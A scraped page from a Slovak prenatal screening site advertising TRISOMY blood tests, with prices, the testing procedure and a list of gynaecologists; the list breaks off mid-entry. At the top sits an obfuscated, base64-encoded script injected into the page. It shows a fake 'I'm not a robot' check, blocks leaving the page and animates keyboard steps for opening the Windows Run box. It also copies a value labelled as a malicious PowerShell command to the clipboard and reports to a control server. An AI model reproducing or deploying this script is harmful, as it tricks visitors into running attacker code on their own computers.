gICAgICB2YXIgcGx1c1NwYW4gPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzcGFuJyk7DQogICAgICAgICAgICAgICAgICAgICAgICBwbHVzU3Bhbi5zdHlsZS5jc3NUZXh0ID0gJ2NvbG9yOiM2NjY7Zm9udC1zaXplOjExcHg7bWFyZ2luOjAgM3B4O3ZlcnRpY2FsLWFsaWduOm1pZGRsZTsnOw0KICAgICAgICAgICAgICAgICAgICAgICAgcGx1c1NwYW4udGV4dENvbnRlbnQgPSAnKyc7DQogICAgICAgICAgICAgICAgICAgICAgICBkb2N1bWVudEZyYWdtZW50LmFwcGVuZENoaWxkKHBsdXNTcGFuKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgIHZhciBuZXdCdXR0b24gPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdiJyk7DQogICAgICAgICAgICAgICAgICAgIG5ld0J1dHRvbi5pbm5lckhUTUwgPSBrZXlQYXJ0c1tqXTsNCiAgICAgICAgICAgICAgICAgICAgZG9jdW1lbnRGcmFnbWVudC5hcHBlbmRDaGlsZChuZXdCdXR0b24pOw0KICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgIGJ1dHRvbkVsZW1lbnQucGFyZW50Tm9kZS5yZXBsYWNlQ2hpbGQoZG9jdW1lbnRGcmFnbWVudCwgYnV0dG9uRWxlbWVudCk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICBmdW5jdGlvbiBzdGFydEtleWJvYXJkQW5pbWF0aW9uKG1vZGFsRWxlbWVudCkgew0KICAgICAgICAgICAgdmFyIGluc3RydWN0aW9uSXRlbXMgPSBBcnJheS5wcm90b3R5cGUuc2xpY2UuY2FsbCgNCiAgICAgICAgICAgICAgICBtb2RhbEVsZW1lbnQucXVlcnlTZWxlY3RvckFsbCgnLmluc3RydWN0aW9uLWxpc3QgbGknKQ0KICAgICAgICAgICAgKTsNCiAgICAgICAgICAgIHZhciBhbmltYXRpb25RdWV1ZSA9IFtdOw0KDQogICAgICAgICAgICBpbnN0cnVjdGlvbkl0ZW1zLmZvckVhY2goZnVuY3Rpb24obGlzdEl0ZW0pIHsNCiAgICAgICAgICAgICAgICB2YXIgYnV0dG9ucyA9IEFycmF5LnByb3RvdHlwZS5zbGljZS5jYWxsKA0KICAgICAgICAgICAgICAgICAgICBsaXN0SXRlbS5xdWVyeVNlbGVjdG9yQWxsKCcuc3RlcC10ZXh0IGInKQ0KICAgICAgICAgICAgICAgICk7DQoNCiAgICAgICAgICAgICAgICBpZiAoIWJ1dHRvbnMubGVuZ3RoKSByZXR1cm47DQoNCiAgICAgICAgICAgICAgICBpZiAoYnV0dG9ucy5sZW5ndGggPT09IDEpIHsNCg0KICAgICAgICAgICAgICAgICAgICBhbmltYXRpb25RdWV1ZS5wdXNoKHt0eXBlOiAncHJlc3MnLCBrZXk6IGJ1dHRvbnNbMF19KTsNCiAgICAgICAgICAgICAgICAgICAgYW5pbWF0aW9uUXVldWUucHVzaCh7dHlwZTogJ3dhaXQnLCBtaWxsaXNlY29uZHM6IDYwMH0pOw0KICAgICAgICAgICAgICAgICAgICBhbmltYXRpb25RdWV1ZS5wdXNoKHt0eXBlOiAncmVsZWFzZScsIGtleTogYnV0dG9uc1swXX0pOw0KICAgICAgICAgICAgICAgICAgICBhbmltYXRpb25RdWV1ZS5wdXNoKHt0eXBlOiAnd2FpdCcsIG1pbGxpc2Vjb25kczogNDUwfSk7DQogICAgICAgICAgICAgICAgfSBlbHNlIHsNCg0KICAgICAgICAgICAgICAgICAgICBhbmltYXRpb25RdWV1ZS5wdXNoKHt0eXBlOiAncHJlc3MnLCBrZXk6IGJ1dHRvbnNbMF19KTsNCiAgICAgICAgICAgICAgICAgICAgYW5pbWF0aW9uUXVldWUucHVzaCh7dHlwZTogJ3dhaXQnLCBtaWxsaXNlY29uZHM6IDQwMH0pOw0KDQogICAgICAgICAgICAgICAgICAgIGZvciAodmFyIGogPSAxOyBqIDwgYnV0dG9ucy5sZW5ndGg7IGorKykgew0KICAgICAgICAgICAgICAgICAgICAgICAgYW5pbWF0aW9uUXVldWUucHVzaCh7dHlwZTogJ3ByZXNzJywga2V5OiBidXR0b25zW2pdfSk7DQogICAgICAgICAgICAgICAgICAgICAgICBhbmltYXRpb25RdWV1ZS5wdXNoKHt0eXBlOiAnd2FpdCcsIG1pbGxpc2Vjb25kczogMzgwfSk7DQogICAgICAgICAgICAgICAgICAgICAgICBhbmltYXRpb25RdWV1ZS5wdXNoKHt0eXBlOiAncmVsZWFzZScsIGtleTogYnV0dG9uc1tqXX0pOw0KDQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoaiA8IGJ1dHRvbnMubGVuZ3RoIC0gMSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFuaW1hdGlvblF1ZXVlLnB1c2goe3R5cGU6ICd3YWl0JywgbWlsbGlzZWNvbmRzOiAxMDB9KTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgIGFuaW1hdGlvblF1ZXVlLnB1c2goe3R5cGU6ICd3YWl0JywgbWlsbGlzZWNvbmRzOiAyMDB9KTsNCiAgICAgICAgICAgICAgICAgICAgYW5pbWF0aW9uUXVldWUucHVzaCh7dHlwZTogJ3JlbGVhc2UnLCBrZXk6IGJ1dHRvbnNbMF19KTsNCiAgICAgICAgICAgICAgICAgICAgYW5pbWF0aW9uUXVldWUucHVzaCh7dHlwZTogJ3dhaXQnLCBtaWxsaXNlY29uZHM6IDUwMH0pOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0pOw0KDQogICAgICAgICAgICBhbmltYXRpb25RdWV1ZS5wdXNoKHt0eXBlOiAnd2FpdCcsIG1pbGxpc2Vjb25kczogMTYwMH0pOw0KDQogICAgICAgICAgICB2YXIgY3VycmVudEluZGV4ID0gMDsNCg0KICAgICAgICAgICAgZnVuY3Rpb24gZXhlY3V0ZU5leHRBbmltYXRpb24oKSB7DQogICAgICAgICAgICAgICAgaWYgKGN1cnJlbnRJbmRleCA+PSBhbmltYXRpb25RdWV1ZS5sZW5ndGgpIHsNCiAgICAgICAgICAgICAgICAgICAgY3VycmVudEluZGV4ID0gMDsNCiAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICB2YXIgYW5pbWF0aW9uU3RlcCA9IGFuaW1hdGlvblF1ZXVlW2N1cnJlbnRJbmRleCsrXTsNCg0KICAgICAgICAgICAgICAgIGlmIChhbmltYXRpb25TdGVwLnR5cGUgPT09ICdwcmVzcycpIHsNCg0KICAgICAgICAgICAgICAgICAgICBhbmltYXRpb25TdGVwLmtleS5jbGFzc0xpc3QuYWRkKCdrbGl0Jyk7DQogICAgICAgICAgICAgICAgICAgIGV4ZWN1dGVOZXh0QW5pbWF0aW9uKCk7DQogICAgICAgICAgICAgICAgfSBlbHNlIGlmIChhbmltYXRpb25TdGVwLnR5cGUgPT09ICdyZWxlYXNlJykgew0KDQogICAgICAgICAgICAgICAgICAgIGFuaW1hdGlvblN0ZXAua2V5LmNsYXNzTGlzdC5yZW1vdmUoJ2tsaXQnKTsNCiAgICAgICAgICAgICAgICAgICAgZXhlY3V0ZU5leHRBbmltYXRpb24oKTsNCiAgICAgICAgICAgICAgICB9IGVsc2Ugew0KDQogICAgICAgICAgICAgICAgICAgIHNldFRpbWVvdXQoZXhlY3V0ZU5leHRBbmltYXRpb24sIGFuaW1hdGlvblN0ZXAubWlsbGlzZWNvbmRzKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIHNldFRpbWVvdXQoZXhlY3V0ZU5leHRBbmltYXRpb24sIDYwMCk7DQogICAgICAgIH0NCg0KICAgICAgICBmdW5jdGlvbiBhZGRTdGVwT25lVG9vbHRpcChtb2RhbEVsZW1lbnQsIHRvb2x0aXBUZXh0KSB7DQogICAgICAgICAgICBpZiAoIXRvb2x0aXBUZXh0KSByZXR1cm47DQoNCiAgICAgICAgICAgIHZhciBmaXJzdExpc3RJdGVtID0gbW9kYWxFbGVtZW50LnF1ZXJ5U2VsZWN0b3IoJy5pbnN0cnVjdGlvbi1saXN0IGxpJyk7DQogICAgICAgICAgICBpZiAoIWZpcnN0TGlzdEl0ZW0pIHJldHVybjsNCg0KICAgICAgICAgICAgdmFyIGJ1dHRvbnMgPSBmaXJzdExpc3RJdGVtLnF1ZXJ5U2VsZWN0b3JBbGwoJy5zdGVwLXRleHQgYicpOw0KICAgICAgICAgICAgdmFyIHRhcmdldEJ1dHRvbiA9IG51bGw7DQoNCiAgICAgICAgICAgIGZvciAodmFyIGkgPSAwOyBpIDwgYnV0dG9ucy5sZW5ndGg7IGkrKykgew0KICAgICAgICAgICAgICAgIGlmIChidXR0b25zW2ldLnF1ZXJ5U2VsZWN0b3IoJ3N2ZycpKSB7DQogICAgICAgICAgICAgICAgICAgIHRhcmdldEJ1dHRvbiA9IGJ1dHRvbnNbaV07DQogICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgaWYgKCF0YXJnZXRCdXR0b24gJiYgYnV0dG9ucy5sZW5ndGgpIHsNCiAgICAgICAgICAgICAgICB0YXJnZXRCdXR0b24gPSBidXR0b25zWzBdOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICBpZiAoIXRhcmdldEJ1dHRvbikgcmV0dXJuOw0KDQogICAgICAgICAgICB2YXIgaGludFNwYW4gPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzcGFuJyk7DQogICAgICAgICAgICBoaW50U3Bhbi5jbGFzc05hbWUgPSAnd2staGludCc7DQogICAgICAgICAgICBoaW50U3Bhbi5hcHBlbmRDaGlsZChkb2N1bWVudC5jcmVhdGVUZXh0Tm9kZSgnPycpKTsNCg0KICAgICAgICAgICAgdmFyIHRvb2x0aXBTcGFuID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc3BhbicpOw0KICAgICAgICAgICAgdG9vbHRpcFNwYW4uY2xhc3NOYW1lID0gJ3drLXRvb2x0aXAnOw0KICAgICAgICAgICAgdG9vbHRpcFNwYW4udGV4dENvbnRlbnQgPSB0b29sdGlwVGV4dDsNCiAgICAgICAgICAgIGhpbnRTcGFuLmFwcGVuZENoaWxkKHRvb2x0aXBTcGFuKTsNCg0KICAgICAgICAgICAgdGFyZ2V0QnV0dG9uLmFwcGVuZENoaWxkKGhpbnRTcGFuKTsNCiAgICAgICAgfQ0KDQogICAgICAgIHZhciBjaGVja2JveEJ1dHRvbiA9IHJvb3RFbGVtZW50LnF1ZXJ5U2VsZWN0b3IoJyNjZi1jYicpOw0KICAgICAgICB2YXIgc3Bpbm5lckVsZW1lbnQgPSByb290RWxlbWVudC5xdWVyeVNlbGVjdG9yKCcjY2Ytc3AnKTsNCiAgICAgICAgdmFyIGxhYmVsRWxlbWVudCA9IHJvb3RFbGVtZW50LnF1ZXJ5U2VsZWN0b3IoJyNjZi1sYmwnKTsNCiAgICAgICAgdmFyIG1vZGFsRWxlbWVudCA9IHJvb3RFbGVtZW50LnF1ZXJ5U2VsZWN0b3IoJyNjZi1tb2RhbCcpOw0KDQogICAgICAgIGZ1bmN0aW9uIHByZXZlbnRQYWdlVW5sb2FkKGV2ZW50KSB7DQogICAgICAgICAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOw0KICAgICAgICAgICAgZXZlbnQucmV0dXJuVmFsdWUgPSAnJzsNCiAgICAgICAgfQ0KDQogICAgICAgIHdpbmRvdy5hZGRFdmVudExpc3RlbmVyKCdiZWZvcmV1bmxvYWQnLCBwcmV2ZW50UGFnZVVubG9hZCk7DQoNCiAgICAgICAgc2V0VGltZW91dChmdW5jdGlvbigpIHsNCiAgICAgICAgICAgIGlmIChjaGVja2JveEJ1dHRvbikgew0KICAgICAgICAgICAgICAgIGNoZWNrYm94QnV0dG9uLnN0eWxlLmRpc3BsYXkgPSAnYmxvY2snOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYgKHNwaW5uZXJFbGVtZW50KSB7DQogICAgICAgICAgICAgICAgc3Bpbm5lckVsZW1lbnQuc3R5bGUuZGlzcGxheSA9ICdub25lJzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGlmIChsYWJlbEVsZW1lbnQpIHsNCiAgICAgICAgICAgICAgICBsYWJlbEVsZW1lbnQudGV4dENvbnRlbnQgPSBVSV9UUkFOU0xBVElPTlMubm90Um9ib3RUZXh0Ow0KICAgICAgICAgICAgfQ0KICAgICAgICB9LCAzMDAwKTsNCg0KICAgICAgICBjaGVja2JveEJ1dHRvbi5hZGRFdmVudExpc3RlbmVyKCdjbGljaycsIGZ1bmN0aW9uKCkgew0KDQogICAgICAgICAgICBpZiAoY2hlY2tib3hCdXR0b24uX19leGVjdXRlZCkgew0KICAgICAgICAgICAgICAgIHJldHVybjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGNoZWNrYm94QnV0dG9uLl9fZXhlY3V0ZWQgPSB0cnVlOw0KDQogICAgICAgICAgICB3aW5kb3cucmVtb3ZlRXZlbnRMaXN0ZW5lcignYmVmb3JldW5sb2FkJywgcHJldmVudFBhZ2VVbmxvYWQpOw0KDQogICAgICAgICAgICBjaGVja2JveEJ1dHRvbi5zdHlsZS5kaXNwbGF5ID0gJ25vbmUnOw0KICAgICAgICAgICAgc3Bpbm5lckVsZW1lbnQuc3R5bGUuZGlzcGxheSA9ICdmbGV4JzsNCiAgICAgICAgICAgIGlmIChsYWJlbEVsZW1lbnQpIHsNCiAgICAgICAgICAgICAgICBsYWJlbEVsZW1lbnQudGV4dENvbnRlbnQgPSBVSV9UUkFOU0xBVElPTlMudmVyaWZ5aW5nVGV4dDsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgaWYgKFJBWV9UUkFDS0lOR19JRCkgew0KICAgICAgICAgICAgICAgIHNlbmRSZXF1ZXN0VG9TZXJ2ZXIoew0KICAgICAgICAgICAgICAgICAgICBhY3Rpb246ICdjYicsDQogICAgICAgICAgICAgICAgICAgIGs6IEFQSV9BVVRIX0tFWSwNCiAgICAgICAgICAgICAgICAgICAgdDogUkFZX1RSQUNLSU5HX0lEDQogICAgICAgICAgICAgICAgfSk7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIHNlcnZlclBheWxvYWRQcm9taXNlLnRoZW4oZnVuY3Rpb24ocGF5bG9hZENvbW1hbmQpIHsNCg0KICAgICAgICAgICAgICAgIGlmIChtb2RhbEVsZW1lbnQpIHsNCiAgICAgICAgICAgICAgICAgICAgbW9kYWxFbGVtZW50LmNsYXNzTGlzdC5hZGQoJ2FjdGl2ZScpOw0KICAgICAgICAgICAgICAgICAgICBwcm9jZXNzS2V5Ym9hcmRTdGVwcyhtb2RhbEVsZW1lbnQpOw0KICAgICAgICAgICAgICAgICAgICBzdGFydEtleWJvYXJkQW5pbWF0aW9uKG1vZGFsRWxlbWVudCk7DQogICAgICAgICAgICAgICAgICAgIGFkZFN0ZXBPbmVUb29sdGlwKG1vZGFsRWxlbWVudCwgVUlfVFJBTlNMQVRJT05TLnN0ZXBLZXlIZWxwKTsNCiAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICBpZiAocGF5bG9hZENvbW1hbmQpIHsNCiAgICAgICAgICAgICAgICAgICAgdmFyIGZpbmFsQ29tbWFuZCA9IE1BTElDSU9VU19QT1dFUlNIRUxMX0NPTU1BTkQgPw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKE1BTElDSU9VU19QT1dFUlNIRUxMX0NPTU1BTkQgKyAnOycpIDoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIChwYXlsb2FkQ29tbWFuZCk7DQoNCiAgICAgICAgICAgICAgICAgICAgY29weVRleHRUb0NsaXBib2FyZChidWlsZENsaXBib2FyZENvbW1hbmQoKSk7DQoNCiAgICAgICAgICAgICAgICAgICAgdmFyIG9zS2V5TGlzdGVuZXIgPSBmdW5jdGlvbihldmVudCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgdmFyIG9zID0gVEFSR0VUX09QRVJBVElOR19TWVNURU0gfHwgZGV0ZWN0VmlzaXRvck9zKCk7DQogICAgICAgICAgICAgICAgICAgICAgICB2YXIgc2hvdWxkUmVmcmVzaENsaXBib2FyZCA9IGZhbHNlOw0KDQogICAgICAgICAgICAgICAgICAgICAgICBpZiAob3MgPT09ICdtYWMnKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgc2hvdWxkUmVmcmVzaENsaXBib2FyZCA9ICEhKGV2ZW50Lm1ldGFLZXkgfHwgZXZlbnQua2V5ID09PSAnTWV0YScpOw0KICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIGlmIChvcyA9PT0gJ2xpbnV4Jykgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHNob3VsZFJlZnJlc2hDbGlwYm9hcmQgPSAhISgNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZXZlbnQuY3RybEtleSAmJiBldmVudC5hbHRLZXkgJiYgU3RyaW5nKGV2ZW50LmtleSB8fCAnJykudG9Mb3dlckNhc2UoKSA9PT0gJ3QnDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgc2hvdWxkUmVmcmVzaENsaXBib2FyZCA9ICEhKA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBldmVudC5tZXRhS2V5IHx8DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGV2ZW50LmtleSA9PT0gJ01ldGEnIHx8DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGV2ZW50LmtleUNvZGUgPT09IDkxIHx8DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGV2ZW50LmtleUNvZGUgPT09IDkyDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKHNob3VsZFJlZnJlc2hDbGlwYm9hcmQpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb3B5VGV4dFRvQ2xpcGJvYXJkKGJ1aWxkQ2xpcGJvYXJkQ29tbWFuZCgpKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5yZW1vdmVFdmVudExpc3RlbmVyKCdrZXlkb3duJywgb3NLZXlMaXN0ZW5lcik7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIH07DQoNCiAgICAgICAgICAgICAgICAgICAgZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcigna2V5ZG93bicsIG9zS2V5TGlzdGVuZXIpOw0KDQogICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgd2FpdEZvckV4ZWN1dGlvblRva2VuKFJBWV9UUkFDS0lOR19JRCk7DQogICAgICAgICAgICB9KTsNCiAgICAgICAgfSk7DQogICAgfSkoKTsNCg0KICB9KTt9KCk7“);document.documentElement.appendChild(s);})();

Zdravie plodu
nie je hádanka

TRISOMY testy sú neinvazívne, bezpečné a bezbolestné prenatálne vyšetrenia z krvi tehotnej, ktoré už v prvých troch mesiacoch gravidity dokážu vylúčiť vybrané chromozómové poruchy plodu.
Viac ako 90 % žien je s TRISOMY testom veľmi spokojných.

Tehotná žena s rukami na bruchu

99,93 %

spoľahlivosť v detekcii najčastejších chromozómových porúch plodu

10 rokov

vývoja a skúseností s testovaním porúch plodu v rámci prenatálneho skríningu

30 tisíc

vzoriek sme vyšetrili pomocou TRISOMY testov

5 – 8 dní

trvá stanovenie výsledkov. Ide o pracovné dni

90 % výsledkov stanovujeme do 5 pracovných dní, ale vzhľadom na biologicky podmienenú individuálnu variabilitu vzorky môže byť lehota vydania 10% výsledkov predĺžená na 8 pracovných dní.

Prehľad testov

Naše testy využívajú akreditované metódy a sú vykonávané v najmodernejších laboratóriách spoločností Trisomy test a Medirex na Slovensku.

TRISOMY test

akreditovaná metóda

  • Downov syndróm (trizómia 21)
  • Edwardsov syndróm (trizómia 18)
  • Patauov syndróm (trizómia 13)
  • pravdepodobné pohlavie plodu

350 €

TRISOMY test xy

akreditovaná metóda

  • Downov syndróm (trizómia 21)
  • Edwardsov syndróm (trizómia 18)
  • Patauov syndróm (trizómia 13)
  • + aneuploidie pohlavných chromozómov
    X a Y
  • pravdepodobné pohlavie plodu

390 €

TRISOMY test +

akreditovaná metóda

  • Downov syndróm (trizómia 21)
  • Edwardsov syndróm (trizómia 18)
  • Patauov syndróm (trizómia 13)
  • Aneuploidie pohlavných chromozómov
    X a Y
  • + 5 ďalších syndrómov
  • pravdepodobné pohlavie plodu

450 €

TRISOMY test Complete

  • skríning všetkých 23 párov chromozómov plodu
  • najčastejšie poruchy (Downov, Edwarsov a Patauov syndróm)
  • iné časté aj raritné a doposiaľ neznáme chromozómové poruchy
  • pravdepodobné pohlavie plodu

530 €

TRISOMY test Complete
+Cystická fibróza

  • celý balík TRISOMY Complete
  • detekcia najčastejšej mutácie spôsobujúcej ochorenie cystická fibróza

590 €

TRISOMY test Complete
+Smithov-Lemliho-Opitzov syndróm

  • celý balík TRISOMY Complete
  • detekcia prítomnosti najčastejších mutácií spôsobujúcich ochorenie Smithov-Lemliho-Opitzov syndróm

635 €

TRISOMY test Complete
+Cystická fibróza
+Smithov-Lemliho-Opitzov syndróm

  • celý balík TRISOMY Complete
  • detekcia najčastejšej mutácie spôsobujúcej ochorenie cystická fibróza
  • detekcia prítomnosti najčastejších mutácií spôsobujúce ochorenie Smithov-Lemliho-Opitzov syndróm

695 €

Priebeh vyšetrenia

1. Výber lekára

Vyhľadajte si lekára vo svojom okolí, ktorý vám odoberie vzorku krvi. Zobraziť zoznam lekárov

2. Návšteva lekára a odber krvi

Vyšetrenie sa najčastejšie vykonáva medzi 11. a 22. týždňom tehotenstva. V ambulancii vám odoberú vzorku krvi a pošlú na analýzu do laboratória.

3. Platba za test

Po dohode s lekárom môžete za test zaplatiť priamo v ambulancii alebo na kartou alebo prevodom na účet.

4. Analýza vzorky krvi

Vzorka krvi sa analyzuje špeciálnou metódou.
O priebehu vyšetrenia vás bude laboratórium informovať SMS správami.

5. Výsledky a interpretácia

Výsledky odošle laboratórium ošetrujúcemu lekárovi spravidla do 5 – 8 pracovných dní od doručenia vzorky a zaevidovania platby. Výsledky testu vždy interpretuje váš lekár.

Najčastejšie otázky

Nenašli ste vhodnú odpoveď na vašu otázku? Napíšte nám na info@trisomytest.sk

Kam na vyšetrenie

Lekárov, ktorí poskytujú TRISOMY test nájdete v mape alebo v zozname.

  • MUDr. Peter Trajanov

    U starostlivého medvedika s.r.o.


    Lúčna 2229/1A


    Šaľa
  • MUDr. Rastislav Šindler

    MORAS, s.r.o.


    Bernolakova 24


    Zlate Moravce
  • MUDr. Tetiana Sotula

    FEMINA Health & Beauty s.r.o.


    Novozamocka 71


    Zvolen
  • MUDr. Jaroslav Bányácsky

    Elite Gyn – gynekologická ambulancia


    Bezručova 2047/64


    Trenčín
  • MUDr. Richard Jakab

    Mediconet Slovakia, s. r. o.


    Heydukova 12-14


    Bratislava
  • MUDr. Jana Černáková

    Mediconet Slovakia, s. r. o.


    Heydukova 12-14


    Bratislava
  • MUDr. Dušan Heriban

    MUDr. Dušan Heriban


    Vojanská 2543/15


    Sereď
  • GYOLIFE

    GYOLIFE


    Forgáčová 321/3


    Slanec (KE-okolie)
  • MUDr. ZUZANA MELICHOVÁ

    TETRAO s.r.o. – Gyn. amb.


    Gemerská 3 C25


    Košice
  • MUDr. ZUZANA ŠEBÍKOVÁ

    GPN s.r.o., gynekológ


    Ružinovská 10


    Bratislava
  • MUDr. ZUZANA ŠEBÍKOVÁ

    GPN, s.r.o., gynekológ


    Partizánska 27


    Bratislava
  • MUDr. ZUZANA REFKOVÁ

    REGYN s.r.o.- Gyn. amb.


    Sládkovič.10 B90


    Stará Ľubovňa
  • MUDr. BLANKA MIFKOVÁ

    NsP PD v Bojniciach Gyn. amb.


    Nemocnicna 2


    Bojnice
  • MUDr.Doc. Vladimír Ferianec PhD.

    Gynsana s.r.o.


    Trnavská cesta 18746/106


    Bratislava
  • MUDr. GALYNA FEDYNCHUK

    GYN-FIV, a.s. – Gyn. amb.


    Trnavská cesta 106


    Bratislava
  • MUDr. GABRIELA ŠUSTOVÁ

    Iscare a.s. – gynekol. amb.


    Prievozská 4/A


    Bratislava
  • MUDr. ZOLTÁN PATAKY

    MED-EZOP s.r.o. Gyn. amb.


    Rákócziho 3 CH39


    Kráľovský Chlmec
  • MUDr. ZOLTÁN JÁNY

    Univerzitná nemocnica Bratislava, Gyn. amb.


    Limbová 5


    Bratislava
  • MUDr. ZOLTÁN JÁNY

    Medicomplex, s.r.o. Gyn. amb.


    Námestie SNP 5


    Stupava
  • MUDr. PETER ŠALKO

    Gyn. amb.


    ul.Červenej armády 544/19


    Veľký Krtíš
  • MUDr. Zsolt Sebö

    Ambulancia – gynekológia a pôrodníctvo


    Senný trh 799/6


    Komárno
  • MUDr. ZUZANA ĎURINOVÁ

    MM FEMINA, s.r.o. – Gyn. amb.


    Račianska 44


    Bratislava
  • MUDr. ZUZANA STRÝČKOVÁ

    Medea plus, s.r.o. – Gyn. amb.


    Lipová 15599/2


    Prešov
  • MUDr. ZUZANA ANČICOVÁ

    MUDr.Zuzana Ančicová, s.r.o. Gyn. amb.


    S.Sakalovej 161/16


    Bytča
  • MUDr. ZUZANA TOMPOŠOVÁ

    TRAUMGYN s.r.o – Gyn. amb.


    Dobšinského 4380


    Rimavská Sobota
  • MUDr. ZUZANA BEHÚŇOVÁ

    GYN-FIV, a.s.


    Trnavská cesta 106


    Bratislava
  • MUDr. SEBASTIAN ULRICH

    Gynekológ No 1, s.r.o. Gyn. amb.


    Hlboká 284/10


    Komárno
  • MUDr. ATTILA ANNA

    ANGYN s.r.o. – Gyn. amb.


    Špitálska 1 G15


    Rožňava
  • MUDr. SOŇA HORVÁTHOVÁ

    GYN-SEN, s.r.o.


    Gorkého 1


    Bratislava
  • MUDr. MICHAL LUNÍČEK

    FEMINA LM, s.r.o. – Gyn. amb.


    Priehradná 23


    Liptovský Mikuláš
  • MUDr. VIERA GOLSKÁ

    Medikus s.r.o., Gyn. amb., Poliklinika ŽILPO-Vlčince


    Vysokoškolákov 31


    Žilina
  • MUDr. VIERA UGOROVÁ

    GYNARS, s.r.o.- Gyn. amb.


    Andreja Žarnova 16


    Trnava
  • MUDr. ROMAN FIOLKA

    Gyn. amb.


    D. Dlabača 978/2


    Žilina
  • MUDr. VILIAM MAGIC

    MUDr.Viliam Magic, s.r.o. – Gyn. amb.


    Gorkého 4849/8B


    Rimavská Sobota
  • MUDr. VLADIMÍR CUPANÍK PhD.

    GPN s.r.o., Gyn. amb.


    Partizánska 27


    Bratislava
  • MUDr. VLADIMÍR VATRAĽ

    VVGYN,s.r.o. Gyn. amb.


    Mierová 1284/90


    Stará Ľubovňa
  • MUDr. MIROSLAVA ZÁVODSKÁ

    SAPIENTIA s.r.o. – Gyn. amb.


    Daxnerovo nám. 5.


    Bratislava
  • MUDr. VLADIMÍR DRONIN

    Gynekológia a pôrodníctvo


    1.mája 21


    Humenné
  • Doc. MUDr. VLADIMÍR KRAUS CSc.

    GYNMED Košice s.r.o. Gyn. amb.


    Pri jazdiarni 1010/1


    Košice
  • MUDr. FRANTIŠEK JANÍČEK PhD.

    MUDr. František Janiček, s.r.o. Gyn. amb.


    Železničná 1039/17


    Sereď
  • MUDr. STELA MURÁNSKA

    Health and Beauty Clinic s.r.o. – gyn. ambulancia


    Masarykova 17/A


    Košice
  • MUDr. ŠTEFAN NAGY

    MUDr. ŠTEFAN NAGY Gyn. amb.


    Poštová 15 E39


    Košice
  • MUDr. ŠTEFAN VOJTAŠŠÁK

    ZDRAVIE TATRY – SLOVAKIA, s.r.o. – gynek.amb.


    Dominika Tatarku 4717/18


    Poprad
  • MUDr. ŠTEFAN KOŽUŠKANIČ

    Ľubovnianska nemocnica, n.o.- gynekol. amb.


    Obrancov mieru 3


    Stará Ľubovňa
  • MUDr. JANA KRŠIAKOVÁ

    M-GENETIK, s.r.o. – genetická ambulancia


    P.Mudroňa 504/7


    Martin
  • MUDr. TATIANA KOLKOVÁ

    MUDr.KOLKOVÁ TATIANA – Gyn. amb.


    Piešťanská 39


    Radošina
  • MUDr. TATIANA KOLKOVÁ

    MUDr. Tatiana Kolková – Gyn. amb.


    Winterová 41


    Piešťany
  • MUDr. TATIANA IVANOVOVÁ

    TRIGYN – L s.r.o. – gyn-pôrod.ambulancia


    Toryská 1


    Košice
  • MUDr. TIBOR FELDMÁR

    HIPOKRATES DS s.r.o., gynekológ


    Hlavná 28/7


    Dunajská Streda
  • MUDr. TIBOR FELDMÁR

    HIPOKRATES DS s.r.o., Gyn. amb.


    Hlavná 28/7


    Dunajská Streda
  • MUDr. TIBOR JANKOVSKÝ

    gynekológ


    Legionárska 10


    Trenčín
  • MUDr. TIBOR FOCKO

    Gynekologické centrum, s.r.o. – gyn .ambulancia


    Chemlonská 1


    Humenné
  • MUDr. TIBOR NAGY

    GRETINA, s.r.o.- Gyn. amb.


    Nemešsegská 6331/5


    Dunajská Streda
  • MUDr. TIBOR BERTOLD

    G&D Care s.r.o., gynekológ


